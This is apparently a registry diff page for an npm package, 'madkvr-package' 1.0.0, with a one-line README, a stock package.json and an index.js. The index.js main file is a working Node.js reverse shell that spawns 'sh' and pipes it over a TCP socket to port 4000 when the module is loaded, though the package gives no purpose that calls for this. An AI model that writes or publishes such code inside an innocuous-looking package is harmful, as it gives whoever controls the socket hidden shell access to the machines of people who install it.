madkvr-package 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +1 -0
- package/index.js +12 -0
- package/package.json +19 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# madkvr-package
|
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
(function(){
|
2
|
+
var net = require("net"),
|
3
|
+
cp = require("child_process"),
|
4
|
+
sh = cp.spawn("sh", []);
|
5
|
+
var client = new net.Socket();
|
6
|
+
client.connect(4000, "127.0.0.1", function(){
|
7
|
+
client.pipe(sh.stdin);
|
8
|
+
sh.stdout.pipe(client);
|
9
|
+
sh.stderr.pipe(client);
|
10
|
+
});
|
11
|
+
return /a/; // Prevents the Node.js application from crashing
|
12
|
+
})();
|
package/package.json
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"name": "madkvr-package",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/mohamadkvr/madkvr-package.git"
|
12
|
+
},
|
13
|
+
"author": "",
|
14
|
+
"license": "ISC",
|
15
|
+
"bugs": {
|
16
|
+
"url": "https://github.com/mohamadkvr/madkvr-package/issues"
|
17
|
+
},
|
18
|
+
"homepage": "https://github.com/mohamadkvr/madkvr-package#readme"
|
19
|
+
}
|